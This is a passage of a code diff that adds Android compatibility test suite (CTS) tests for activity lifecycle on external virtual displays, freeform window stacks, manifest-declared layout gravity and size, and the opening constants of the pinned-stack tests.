+        setPrimaryDisplayState(false);
+
+        // Make sure there is no resumed activity when the primary display is off
+        waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
+                "Activity launched on primary display must be stopped after turning off");
+        assertEquals("Unexpected resumed activity",
+                0, mAmWmState.getAmState().getResumedActivitiesCount());
+
+        final DisplayState newDisplay = createExternalVirtualDisplay(
+                true /* showContentWhenLocked */);
+
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+        // Check that the test activity is resumed on the external display
+        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+                "Activity launched on external display must be resumed");
+    }
+
+    /**
+     * Tests that turning the secondary display off stops activities running on that display.
+     */
+    @Test
+    public void testExternalDisplayToggleState() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        final DisplayState newDisplay = createExternalVirtualDisplay(
+                false /* showContentWhenLocked */);
+
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+        // Check that the test activity is resumed on the external display
+        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+                "Activity launched on external display must be resumed");
+
+        mExternalDisplayHelper.turnDisplayOff();
+
+        // Check that turning off the external display stops the activity
+        waitAndAssertActivityStopped(TEST_ACTIVITY_NAME,
+                "Activity launched on external display must be stopped after turning off");
+
+        mExternalDisplayHelper.turnDisplayOn();
+
+        // Check that turning on the external display resumes the activity
+        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+                "Activity launched on external display must be resumed");
+    }
+
+    /**
+     * Tests that tapping on the primary display after showing the keyguard resumes the
+     * activity on the primary display.
+     */
+    @Test
+    public void testStackFocusSwitchOnTouchEventAfterKeyguard() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Launch something on the primary display so we know there is a resumed activity there
+        launchActivity(RESIZEABLE_ACTIVITY_NAME);
+        waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+                "Activity launched on primary display must be resumed");
+
+        sleepDevice();
+
+        // Make sure there is no resumed activity when the primary display is off
+        waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
+                "Activity launched on primary display must be stopped after turning off");
+        assertEquals("Unexpected resumed activity",
+                0, mAmWmState.getAmState().getResumedActivitiesCount());
+
+        final DisplayState newDisplay = createExternalVirtualDisplay(
+                true /* showContentWhenLocked */);
+
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+        // Check that the test activity is resumed on the external display
+        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+                "Activity launched on external display must be resumed");
+
+        // Unlock the device and tap on the middle of the primary display
+        wakeUpDevice();
+        executeShellCommand("wm dismiss-keyguard");
+        final ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
+        final int width = displayMetrics.getWidth();
+        final int height = displayMetrics.getHeight();
+        executeShellCommand("input tap " + (width / 2) + " " + (height / 2));
+
+        // Check that the activity on the primary display is resumed
+        waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+                "Activity launched on primary display must be resumed");
+        assertEquals("Unexpected resumed activity",
+                1, mAmWmState.getAmState().getResumedActivitiesCount());
+    }
+
+    private void waitAndAssertActivityResumed(String activityName, int displayId, String message)
+            throws Exception {
+        mAmWmState.waitForActivityState(activityName, STATE_RESUMED);
+
+        final String fullActivityName = getActivityComponentName(activityName);
+        assertEquals(message, fullActivityName, mAmWmState.getAmState().getResumedActivity());
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(displayId);
+        ActivityManagerState.ActivityStack firstFrontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals(message, fullActivityName, firstFrontStack.mResumedActivity);
+        assertTrue(message,
+                mAmWmState.getAmState().hasActivityState(activityName, STATE_RESUMED));
+        mAmWmState.assertFocusedStack("Focus must be on external display", frontStackId);
+        mAmWmState.assertVisibility(activityName, true /* visible */);
+    }
+
+    private void waitAndAssertActivityStopped(String activityName, String message)
+            throws Exception {
+        mAmWmState.waitForActivityState(activityName, STATE_STOPPED);
+
+        assertTrue(message, mAmWmState.getAmState().hasActivityState(activityName,
+                STATE_STOPPED));
+    }
+
+    /**
+     * Tests that showWhenLocked works on a secondary display.
+     */
+    public void testSecondaryDisplayShowWhenLocked() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        try {
+            setLockCredential();
+
+            launchActivity(TEST_ACTIVITY_NAME);
+
+            final DisplayState newDisplay = createExternalVirtualDisplay(
+                    false /* showContentWhenLocked */);
+            launchActivityOnDisplay(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+            gotoKeyguard();
+            mAmWmState.waitForKeyguardShowingAndNotOccluded();
+
+            mAmWmState.waitForActivityState(TEST_ACTIVITY_NAME, STATE_STOPPED);
+            mAmWmState.waitForActivityState(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED);
+
+            mAmWmState.computeState(new String[] { SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME });
+            assertTrue("Expected resumed activity on secondary display", mAmWmState.getAmState()
+                    .hasActivityState(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED));
+        } finally {
+            tearDownLockCredentials();
+        }
+    }
+
+    /** Get physical and override display metrics from WM. */
+    private ReportedDisplayMetrics getDisplayMetrics() throws Exception {
+        mDumpLines.clear();
+        final String dump = executeShellCommand(WM_SIZE)
+                + executeShellCommand(WM_DENSITY);
+        mDumpLines.clear();
+        Collections.addAll(mDumpLines, dump.split("\\n"));
+        return ReportedDisplayMetrics.create(mDumpLines);
+    }
+
+    private static class ReportedDisplayMetrics {
+        private static final Pattern sPhysicalSizePattern =
+                Pattern.compile("Physical size: (\\d+)x(\\d+)");
+        private static final Pattern sOverrideSizePattern =
+                Pattern.compile("Override size: (\\d+)x(\\d+)");
+        private static final Pattern sPhysicalDensityPattern =
+                Pattern.compile("Physical density: (\\d+)");
+        private static final Pattern sOverrideDensityPattern =
+                Pattern.compile("Override density: (\\d+)");
+
+        int physicalWidth;
+        int physicalHeight;
+        int physicalDensity;
+
+        boolean sizeOverrideSet;
+        int overrideWidth;
+        int overrideHeight;
+        boolean densityOverrideSet;
+        int overrideDensity;
+
+        /** Get width that WM operates with. */
+        int getWidth() {
+            return sizeOverrideSet ? overrideWidth : physicalWidth;
+        }
+
+        /** Get height that WM operates with. */
+        int getHeight() {
+            return sizeOverrideSet ? overrideHeight : physicalHeight;
+        }
+
+        /** Get density that WM operates with. */
+        int getDensity() {
+            return densityOverrideSet ? overrideDensity : physicalDensity;
+        }
+
+        static ReportedDisplayMetrics create(LinkedList<String> dump) {
+            final ReportedDisplayMetrics result = new ReportedDisplayMetrics();
+
+            boolean physicalSizeFound = false;
+            boolean physicalDensityFound = false;
+
+            while (!dump.isEmpty()) {
+                final String line = dump.pop().trim();
+
+                Matcher matcher = sPhysicalSizePattern.matcher(line);
+                if (matcher.matches()) {
+                    physicalSizeFound = true;
+                    log(line);
+                    result.physicalWidth = Integer.parseInt(matcher.group(1));
+                    result.physicalHeight = Integer.parseInt(matcher.group(2));
+                    continue;
+                }
+
+                matcher = sOverrideSizePattern.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    result.overrideWidth = Integer.parseInt(matcher.group(1));
+                    result.overrideHeight = Integer.parseInt(matcher.group(2));
+                    result.sizeOverrideSet = true;
+                    continue;
+                }
+
+                matcher = sPhysicalDensityPattern.matcher(line);
+                if (matcher.matches()) {
+                    physicalDensityFound = true;
+                    log(line);
+                    result.physicalDensity = Integer.parseInt(matcher.group(1));
+                    continue;
+                }
+
+                matcher = sOverrideDensityPattern.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    result.overrideDensity = Integer.parseInt(matcher.group(1));
+                    result.densityOverrideSet = true;
+                    continue;
+                }
+            }
+
+            assertTrue("Physical display size must be reported", physicalSizeFound);
+            assertTrue("Physical display density must be reported", physicalDensityFound);
+
+            return result;
+        }
+    }
+
+    /** Assert that component received onMovedToDisplay and onConfigurationChanged callbacks. */
+    private void assertMovedToDisplay(String componentName, String logSeparator) throws Exception {
+        final ActivityLifecycleCounts lifecycleCounts
+                = new ActivityLifecycleCounts(componentName, logSeparator);
+        if (lifecycleCounts.mDestroyCount != 0) {
+            fail(componentName + " has been destroyed " + lifecycleCounts.mDestroyCount
+                    + " time(s), wasn't expecting any");
+        } else if (lifecycleCounts.mCreateCount != 0) {
+            fail(componentName + " has been (re)created " + lifecycleCounts.mCreateCount
+                    + " time(s), wasn't expecting any");
+        } else if (lifecycleCounts.mConfigurationChangedCount != 1) {
+            fail(componentName + " has received "
+                    + lifecycleCounts.mConfigurationChangedCount
+                    + " onConfigurationChanged() calls, expecting " + 1);
+        } else if (lifecycleCounts.mMovedToDisplayCount != 1) {
+            fail(componentName + " has received "
+                    + lifecycleCounts.mMovedToDisplayCount
+                    + " onMovedToDisplay() calls, expecting " + 1);
+        }
+    }
+
+    private static String getResizeVirtualDisplayCommand() {
+        return getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY) + " -f 0x20000000" +
+                " --es command resize_display";
+    }
+
+    /**
+     * Creates a private virtual display with the external and show with insecure
+     * keyguard flags set.
+     */
+    private DisplayState createExternalVirtualDisplay(boolean showContentWhenLocked)
+            throws Exception {
+        final ReportedDisplays originalDS = getDisplaysStates();
+        final int originalDisplayCount = originalDS.getNumberOfDisplays();
+
+        mExternalDisplayHelper = new DisplayHelper();
+        mExternalDisplayHelper.createAndWaitForDisplay(true /* external */, showContentWhenLocked);
+
+        // Wait for the virtual display to be created and get configurations.
+        final ReportedDisplays ds =
+                getDisplayStateAfterChange(originalDisplayCount + 1);
+        assertEquals("New virtual display must be created",
+                originalDisplayCount + 1, ds.getNumberOfDisplays());
+
+        // Find the newly added display.
+        final List<DisplayState> newDisplays = findNewDisplayStates(originalDS, ds);
+        return newDisplays.get(0);
+    }
+
+    /** Turns the primary display on/off by pressing the power key */
+    private void setPrimaryDisplayState(boolean wantOn) {
+        // Either KeyEvent.KEYCODE_WAKEUP or KeyEvent.KEYCODE_SLEEP
+        int keycode = wantOn ? 224 : 223;
+        executeShellCommand("input keyevent " + keycode);
+        DisplayHelper.waitForDefaultDisplayState(wantOn);
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerFreeformStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerFreeformStackTests.java
new file mode 100644
index 0000000..98da8a2
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerFreeformStackTests.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static org.junit.Assert.assertEquals;
+
+import android.graphics.Rect;
+import android.server.am.ActivityManagerState.ActivityStack;
+import android.server.am.ActivityManagerState.ActivityTask;
+
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerFreeformStackTests
+ */
+public class ActivityManagerFreeformStackTests extends ActivityManagerTestBase {
+
+    private static final String TEST_ACTIVITY = "TestActivity";
+    private static final int TEST_TASK_OFFSET = 20;
+    private static final int TEST_TASK_OFFSET_2 = 100;
+    private static final int TEST_TASK_SIZE_1 = 900;
+    private static final int TEST_TASK_SIZE_2 = TEST_TASK_SIZE_1 * 2;
+    private static final int TEST_TASK_SIZE_DP_1 = 220;
+    private static final int TEST_TASK_SIZE_DP_2 = TEST_TASK_SIZE_DP_1 * 2;
+
+    // NOTE: Launching the FreeformActivity will automatically launch the TestActivity
+    // with bounds (0, 0, 900, 900)
+    private static final String FREEFORM_ACTIVITY = "FreeformActivity";
+    private static final String NON_RESIZEABLE_ACTIVITY = "NonResizeableActivity";
+    private static final String NO_RELAUNCH_ACTIVITY = "NoRelaunchActivity";
+
+    @Test
+    public void testFreeformWindowManagementSupport() throws Exception {
+
+        launchActivity(FREEFORM_ACTIVITY, WINDOWING_MODE_FREEFORM);
+
+        mAmWmState.computeState(FREEFORM_ACTIVITY, TEST_ACTIVITY);
+
+        if (!supportsFreeform()) {
+            mAmWmState.assertDoesNotContainStack("Must not contain freeform stack.",
+                    WINDOWING_MODE_FREEFORM, ACTIVITY_TYPE_STANDARD);
+            return;
+        }
+
+        mAmWmState.assertFrontStack("Freeform stack must be the front stack.",
+                WINDOWING_MODE_FREEFORM, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertVisibility(FREEFORM_ACTIVITY, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+        mAmWmState.assertFocusedActivity(
+                TEST_ACTIVITY + " must be focused Activity", TEST_ACTIVITY);
+        assertEquals(new Rect(0, 0, TEST_TASK_SIZE_1, TEST_TASK_SIZE_1),
+                mAmWmState.getAmState().getTaskByActivityName(TEST_ACTIVITY).getBounds());
+    }
+
+    @Test
+    public void testNonResizeableActivityHasFullDisplayBounds() throws Exception {
+        launchActivity(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_FREEFORM);
+
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY).build());
+
+        final ActivityTask task =
+                mAmWmState.getAmState().getTaskByActivityName(NON_RESIZEABLE_ACTIVITY);
+        final ActivityStack stack = mAmWmState.getAmState().getStackById(task.mStackId);
+
+        if (task.isFullscreen()) {
+            // If the task is on the fullscreen stack, then we know that it will have bounds that
+            // fill the entire display.
+            return;
+        }
+
+        // If the task is not on the fullscreen stack, then compare the task bounds to the display
+        // bounds.
+        assertEquals(mAmWmState.getWmState().getDisplay(stack.mDisplayId).getDisplayRect(),
+                task.getBounds());
+    }
+
+    @Test
+    public void testActivityLifeCycleOnResizeFreeformTask() throws Exception {
+        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FREEFORM);
+        launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FREEFORM);
+
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY).build(),
+                new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY).build());
+
+        if (!supportsFreeform()) {
+            mAmWmState.assertDoesNotContainStack("Must not contain freeform stack.",
+                    WINDOWING_MODE_FREEFORM, ACTIVITY_TYPE_STANDARD);
+            return;
+        }
+
+        final int displayId = mAmWmState.getAmState().getStandardStackByWindowingMode(
+                WINDOWING_MODE_FREEFORM).mDisplayId;
+        final int densityDpi =
+                mAmWmState.getWmState().getDisplay(displayId).getDpi();
+        final int testTaskSize1 =
+                ActivityAndWindowManagersState.dpToPx(TEST_TASK_SIZE_DP_1, densityDpi);
+        final int testTaskSize2 =
+                ActivityAndWindowManagersState.dpToPx(TEST_TASK_SIZE_DP_2, densityDpi);
+
+        resizeActivityTask(TEST_ACTIVITY,
+                TEST_TASK_OFFSET, TEST_TASK_OFFSET, testTaskSize1, testTaskSize2);
+        resizeActivityTask(NO_RELAUNCH_ACTIVITY,
+                TEST_TASK_OFFSET_2, TEST_TASK_OFFSET_2, testTaskSize1, testTaskSize2);
+
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY).build(),
+                new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY).build());
+
+        final String logSeparator = clearLogcat();
+        resizeActivityTask(TEST_ACTIVITY,
+                TEST_TASK_OFFSET, TEST_TASK_OFFSET, testTaskSize2, testTaskSize1);
+        resizeActivityTask(NO_RELAUNCH_ACTIVITY,
+                TEST_TASK_OFFSET_2, TEST_TASK_OFFSET_2, testTaskSize2, testTaskSize1);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY).build(),
+                new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY).build());
+
+        assertActivityLifecycle(TEST_ACTIVITY, true /* relaunched */, logSeparator);
+        assertActivityLifecycle(NO_RELAUNCH_ACTIVITY, false /* relaunched */, logSeparator);
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
new file mode 100644
index 0000000..dd66df0
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
@@ -0,0 +1,199 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.server.am.ActivityAndWindowManagersState.dpToPx;
+import static android.server.am.StateLogger.log;
+
+import android.graphics.Rect;
+import android.server.am.WindowManagerState.Display;
+import android.server.am.WindowManagerState.WindowState;
+
+import junit.framework.Assert;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerManifestLayoutTests
+ */
+public class ActivityManagerManifestLayoutTests extends ActivityManagerTestBase {
+
+    // Test parameters
+    private static final int DEFAULT_WIDTH_DP = 240;
+    private static final int DEFAULT_HEIGHT_DP = 160;
+    private static final float DEFAULT_WIDTH_FRACTION = 0.25f;
+    private static final float DEFAULT_HEIGHT_FRACTION = 0.35f;
+    private static final int MIN_WIDTH_DP = 100;
+    private static final int MIN_HEIGHT_DP = 80;
+
+    private static final int GRAVITY_VER_CENTER = 0x01;
+    private static final int GRAVITY_VER_TOP    = 0x02;
+    private static final int GRAVITY_VER_BOTTOM = 0x04;
+    private static final int GRAVITY_HOR_CENTER = 0x10;
+    private static final int GRAVITY_HOR_LEFT   = 0x20;
+    private static final int GRAVITY_HOR_RIGHT  = 0x40;
+
+    private List<WindowState> mTempWindowList = new ArrayList();
+    private Display mDisplay;
+    private WindowState mWindowState;
+
+    @Test
+    public void testGravityAndDefaultSizeTopLeft() throws Exception {
+        testLayout(GRAVITY_VER_TOP, GRAVITY_HOR_LEFT, false /*fraction*/);
+    }
+
+    @Test
+    public void testGravityAndDefaultSizeTopRight() throws Exception {
+        testLayout(GRAVITY_VER_TOP, GRAVITY_HOR_RIGHT, true /*fraction*/);
+    }
+
+    @Test
+    public void testGravityAndDefaultSizeBottomLeft() throws Exception {
+        testLayout(GRAVITY_VER_BOTTOM, GRAVITY_HOR_LEFT, true /*fraction*/);
+    }
+
+    @Test
+    public void testGravityAndDefaultSizeBottomRight() throws Exception {
+        testLayout(GRAVITY_VER_BOTTOM, GRAVITY_HOR_RIGHT, false /*fraction*/);
+    }
+
+    @Test
+    public void testMinimalSizeFreeform() throws Exception {
+        if (!supportsFreeform()) {
+            log("Skipping test: no freeform support");
+            return;
+        }
+        testMinimalSize(WINDOWING_MODE_FREEFORM);
+    }
+
+    @Test
+    public void testMinimalSizeDocked() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no multi-window support");
+            return;
+        }
+        testMinimalSize(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+    }
+
+    private void testMinimalSize(int windowingMode) throws Exception {
+        final String activityName = "BottomRightLayoutActivity";
+
+        // Issue command to resize to <0,0,1,1>. We expect the size to be floored at
+        // MIN_WIDTH_DPxMIN_HEIGHT_DP.
+        if (windowingMode == WINDOWING_MODE_FREEFORM) {
+            launchActivity(activityName, WINDOWING_MODE_FREEFORM);
+            resizeActivityTask(activityName, 0, 0, 1, 1);
+        } else { // stackId == DOCKED_STACK_ID
+            launchActivityInDockStack(activityName);
+            resizeDockedStack(1, 1, 1, 1);
+        }
+        getDisplayAndWindowState(activityName, false);
+
+        final int minWidth = dpToPx(MIN_WIDTH_DP, mDisplay.getDpi());
+        final int minHeight = dpToPx(MIN_HEIGHT_DP, mDisplay.getDpi());
+        final Rect containingRect = mWindowState.getContainingFrame();
+
+        Assert.assertEquals("Min width is incorrect", minWidth, containingRect.width());
+        Assert.assertEquals("Min height is incorrect", minHeight, containingRect.height());
+    }
+
+    private void testLayout(
+            int vGravity, int hGravity, boolean fraction) throws Exception {
+        if (!supportsFreeform()) {
+            log("Skipping test: no freeform support");
+            return;
+        }
+
+        final String activityName = (vGravity == GRAVITY_VER_TOP ? "Top" : "Bottom")
+                + (hGravity == GRAVITY_HOR_LEFT ? "Left" : "Right") + "LayoutActivity";
+
+        // Launch in freeform stack
+        launchActivity(activityName, WINDOWING_MODE_FREEFORM);
+
+        getDisplayAndWindowState(activityName, true);
+
+        final Rect containingRect = mWindowState.getContainingFrame();
+        final Rect appRect = mDisplay.getAppRect();
+        final int expectedWidthPx, expectedHeightPx;
+        // Evaluate the expected window size in px. If we're using fraction dimensions,
+        // calculate the size based on the app rect size. Otherwise, convert the expected
+        // size in dp to px.
+        if (fraction) {
+            expectedWidthPx = (int) (appRect.width() * DEFAULT_WIDTH_FRACTION);
+            expectedHeightPx = (int) (appRect.height() * DEFAULT_HEIGHT_FRACTION);
+        } else {
+            final int densityDpi = mDisplay.getDpi();
+            expectedWidthPx = dpToPx(DEFAULT_WIDTH_DP, densityDpi);
+            expectedHeightPx = dpToPx(DEFAULT_HEIGHT_DP, densityDpi);
+        }
+
+        verifyFrameSizeAndPosition(
+                vGravity, hGravity, expectedWidthPx, expectedHeightPx, containingRect, appRect);
+    }
+
+    private void getDisplayAndWindowState(String activityName, boolean checkFocus)
+            throws Exception {
+        final String windowName = getWindowName(activityName);
+
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
+
+        if (checkFocus) {
+            mAmWmState.assertFocusedWindow("Test window must be the front window.", windowName);
+        } else {
+            mAmWmState.assertVisibility(activityName, true);
+        }
+
+        mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, mTempWindowList);
+
+        Assert.assertEquals("Should have exactly one window state for the activity.",
+                1, mTempWindowList.size());
+
+        mWindowState = mTempWindowList.get(0);
+        Assert.assertNotNull("Should have a valid window", mWindowState);
+
+        mDisplay = mAmWmState.getWmState().getDisplay(mWindowState.getDisplayId());
+        Assert.assertNotNull("Should be on a display", mDisplay);
+    }
+
+    private void verifyFrameSizeAndPosition(
+            int vGravity, int hGravity, int expectedWidthPx, int expectedHeightPx,
+            Rect containingFrame, Rect parentFrame) {
+        Assert.assertEquals("Width is incorrect", expectedWidthPx, containingFrame.width());
+        Assert.assertEquals("Height is incorrect", expectedHeightPx, containingFrame.height());
+
+        if (vGravity == GRAVITY_VER_TOP) {
+            Assert.assertEquals("Should be on the top", parentFrame.top, containingFrame.top);
+        } else if (vGravity == GRAVITY_VER_BOTTOM) {
+            Assert.assertEquals("Should be on the bottom",
+                    parentFrame.bottom, containingFrame.bottom);
+        }
+
+        if (hGravity == GRAVITY_HOR_LEFT) {
+            Assert.assertEquals("Should be on the left", parentFrame.left, containingFrame.left);
+        } else if (hGravity == GRAVITY_HOR_RIGHT){
+            Assert.assertEquals("Should be on the right",
+                    parentFrame.right, containingFrame.right);
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
new file mode 100644
index 0000000..e19b9bf
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
@@ -0,0 +1,1421 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.am.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.am.ActivityManagerState.STATE_STOPPED;
+import static android.view.KeyEvent.KEYCODE_WINDOW;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.graphics.Rect;
+import android.platform.test.annotations.Presubmit;
+import android.server.am.ActivityManagerState.ActivityStack;
+import android.server.am.ActivityManagerState.ActivityTask;
+
+import org.junit.Test;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerPinnedStackTests
+ */
+public class ActivityManagerPinnedStackTests extends ActivityManagerTestBase {
+    private static final String TEST_ACTIVITY = "TestActivity";
+    private static final String TEST_ACTIVITY_WITH_SAME_AFFINITY = "TestActivityWithSameAffinity";
+    private static final String TRANSLUCENT_TEST_ACTIVITY = "TranslucentTestActivity";
+    private static final String NON_RESIZEABLE_ACTIVITY = "NonResizeableActivity";
+    private static final String RESUME_WHILE_PAUSING_ACTIVITY = "ResumeWhilePausingActivity";
+    private static final String PIP_ACTIVITY = "PipActivity";
+    private static final String PIP_ACTIVITY2 = "PipActivity2";
+    private static final String PIP_ACTIVITY_WITH_SAME_AFFINITY = "PipActivityWithSameAffinity";
+    private static final String ALWAYS_FOCUSABLE_PIP_ACTIVITY = "AlwaysFocusablePipActivity";
+    private static final String LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY =
+            "LaunchIntoPinnedStackPipActivity";
+    private static final String LAUNCH_ENTER_PIP_ACTIVITY = "LaunchEnterPipActivity";
+    private static final String PIP_ON_STOP_ACTIVITY = "PipOnStopActivity";
+
+    private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
+    private static final String EXTRA_ENTER_PIP = "enter_pip";
+    private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR =
+            "enter_pip_aspect_ratio_numerator";
+    private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR =
+            "enter_pip_aspect_ratio_denominator";
+    private static final String EXTRA_SET_ASPECT_RATIO_NUMERATOR = "set_aspect_ratio_numerator";
+    private static final String EXTRA_SET_ASPECT_RATIO_DENOMINATOR = "set_aspect_ratio_denominator";
+    private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR =
+            "set_aspect_ratio_with_delay_numerator";
+    private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR =
+            "set_aspect_ratio_with_delay_denominator";
+    private static final String EXTRA_ENTER_PIP_ON_PAUSE = "enter_pip_on_pause";
+    private static final String EXTRA_TAP_TO_FINISH = "tap_to_finish";
+    private static final String EXTRA_START_ACTIVITY = "start_activity";
+    private static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
+    private static final String EXTRA_REENTER_PIP_ON_EXIT = "reenter_pip_on_exit";
+    private static final String EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP = "assert_no_on_stop_before_pip";
+    private static final String EXTRA_ON_PAUSE_DELAY = "on_pause_delay";
+
+    private static final String PIP_ACTIVITY_ACTION_ENTER_PIP =
+            "android.server.am.PipActivity.enter_pip";
+    private static final String PIP_ACTIVITY_ACTION_MOVE_TO_BACK =
+            "android.server.am.PipActivity.move_to_back";
+    private static final String PIP_ACTIVITY_ACTION_EXPAND_PIP =
+            "android.server.am.PipActivity.expand_pip";
+    private static final String PIP_ACTIVITY_ACTION_SET_REQUESTED_ORIENTATION =
+            "android.server.am.PipActivity.set_requested_orientation";
+    private static final String PIP_ACTIVITY_ACTION_FINISH =
+            "android.server.am.PipActivity.finish";
+    private static final String TEST_ACTIVITY_ACTION_FINISH =
+            "android.server.am.TestActivity.finish_self";
+
